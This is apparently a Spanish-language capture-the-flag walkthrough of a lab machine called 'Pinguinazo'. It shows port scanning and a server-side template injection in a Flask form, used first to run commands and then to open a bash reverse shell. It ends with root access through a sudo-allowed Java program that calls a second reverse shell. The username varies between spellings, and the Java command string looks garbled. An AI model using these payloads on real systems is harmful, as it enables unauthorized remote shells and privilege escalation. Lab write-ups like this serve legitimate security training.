

PINGUINAZO

Primero probamos la conectividad con la máquina:

```
> ping -c 1 172.17.0.2
PING 172.17.0.2 (172.17.0.2) 56(84) bytes of data.
64 bytes from 172.17.0.2: icmp_seq=1 ttl=64 time=0.180 ms

--- 172.17.0.2 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 0.180/0.180/0.180/0.000 ms
```

Tenemos conectividad y vemos que tenemos una ttl de 64, por lo que probablemente estemos ante una máquina Linux.

Ahora vamos a hacer el reconocimiento de puertos:

```
> nmap -sS -p- --open --min-rate 5000 -vvv -n -Pn 172.17.0.2 -oG allPorts
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times may be slower.
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-09-12 16:21 CEST
Initiating ARP Ping Scan at 16:21
Scanning 172.17.0.2 [1 port]
Completed ARP Ping Scan at 16:21, 0.06s elapsed (1 total hosts)
Initiating SYN Stealth Scan at 16:21
Scanning 172.17.0.2 [65535 ports]
Discovered open port 5000/tcp on 172.17.0.2
Completed SYN Stealth Scan at 16:21, 1.07s elapsed (65535 total ports)
Nmap scan report for 172.17.0.2
Host is up, received arp-response (0.0000080s latency).
Scanned at 2024-09-12 16:21:29 CEST for 1s
Not shown: 65534 closed tcp ports (reset)
PORT      STATE SERVICE REASON
5000/tcp  open  upnp    syn-ack ttl 64
MAC Address: 02:42:AC:11:00:02 (Unknown)
```

En este caso solo tiene un puerto abierto por lo que vamos a buscar más información sobre este puerto:

```

> nmap -sCV -p5000 172.17.0.2 -oN targeted
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-09-12 16:22 CEST
Stats: 0:00:06 elapsed; 0 hosts completed (1 up), 1 undergoing Service Scan
Service scan Timing: About 0.00% done
Nmap scan report for pressenter.hl (172.17.0.2)
Host is up (0.000040s latency).

PORT      STATE SERVICE VERSION
5000/tcp  open  upnp?

| fingerprint-strings:
|_  GetRequest:
|_    HTTP/1.1 200 OK
|_    Server: Werkzeug/3.0.1 Python/3.12.3
|_    Date: Thu, 12 Sep 2024 14:22:35 GMT
|_    Content-Type: text/html; charset=utf-8
|_    Content-Length: 1718
|_    Connection: close
|_    <!DOCTYPE html>
|_    <html lang="en">
|_    <head>
|_    <meta charset="UTF-8">
|_    <meta name="viewport" content="width=device-width, initial-scale=1.0">
|_    <title>Pingu Flask Web</title>
|_    <link href="https://stackpath.bootstrapcdn.com/bootstrap/4.5.2/css/bootstrap.min.css" rel="stylesheet">
|_    </head>
|_    <body>
|_    <div class="container mt-5">
|_    class="text-center">PinguRegistro</h1>
|_    <form method="post" action="/greet">
|_    <div class="form-group">
|_    <label for="name">PinguNombre</label>
|_    <input type="text" class="form-control" id="name" name="name" placeholder="Enter your name">
|_    </div>
|_    <div class="form-group">
|_    <label for="birthday">Pi
|_    RTSPRequest:
|_    <!DOCTYPE HTML>
|_    <html lang="en">
|_    <head>
|_    <meta charset="utf-8">
|_    <title>Error response</title>
|_    </head>
|_    <body>

```

Vamos a investigar la web.

PinguRegistro

PinguNombre	<input type="text" value="Enter your name"/>
PinguCumple	<input type="text" value="dd/mm/yyyy"/>
PinguEmail	<input type="text" value="admin@pingulab.lab"/>
PinguPhone	<input type="text" value="+17 123 456 789"/>
<input type="button" value="Save all"/>	

Vemos que es un registro, vamos a probar a poner información, aunque si nos fijamos, no nos deja cambiar el correo y parece un correo de admin de algún sitio.

Si ponemos un nombre nos lo da, por lo que vamos a probar si es vulnerable a STTI:

PinguNombre

{{7*7}}

PinguCumple

Hello 49!

Y vemos que sí, por lo que vamos a probar la siguiente línea a ver si nos da información:

PinguNombre

```
{{ self.__init__.__globals__.__builtins__.__import__('os').popen('whoami').read() }}
```

Hello pinguinazo !

Y vemos que sí, por lo que vamos a intentar darnos una bash por el puerto 443:

```
> nc -nlvp 443
listening on [any] 443 ...
```

El comando será el siguiente:

```
{{ self.__init__.__globals__.__builtins__.__import__('os').popen('bash -c \'bash -i >&/dev/tcp/172.17.0.1/443 0>&1\'').read() }}
```

Y ya estamos:

```
pinguinazo@b22d7b387527:~$ whoami
whoami
pinguinazo
```

Ahora vamos a escalar privilegios.

Con sudo -l vemos lo siguiente:

```
penguinazo@b22d7b387527:/$ sudo -l
Matching Defaults entries for penguinazo on b22d7b387527:
    env_reset, mail_badpass, secure_path=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin

User penguinazo may run the following commands on b22d7b387527:
    (ALL) NOPASSWD: /usr/bin/java
```

Para poder obtener una shell, tenemos que ejecutar un programa en java, que sería el siguiente:

```
public class shell {
    public static void main(String[] args) {
        Process p;
        try {
            p = Runtime.getRuntime().exec("bash -c @$|bash 0 echo bash -i >& /dev/tcp/192.168.0.34/123
0>&1");
            p.waitFor();
            p.destroy();
        } catch (Exception e) {}
    }
}
```

Ahora nos abrimos el puerto 123 y ejecutamos este programa:

```
> nc -nlvp 123
listening on [any] 123 ...
|
```

Y ejecutamos el programa:

```
penguinazo@b22d7b387527:~$ sudo java shell.java
shell.java:5: warning: [deprecation] exec(String) in Runtime has been deprecated
    p = Runtime.getRuntime().exec("bash -c @$|bash 0 echo bash -i >& /dev/tcp/192.168.0.34/123 0>&1");
                           ^
1 warning
```

Vemos que nos da error pero si vamos al terminal:

```
root@b22d7b387527:/home/penguinazo# whoami
whoami
root
root@b22d7b387527:/home/penguinazo#
```

Ya somos root.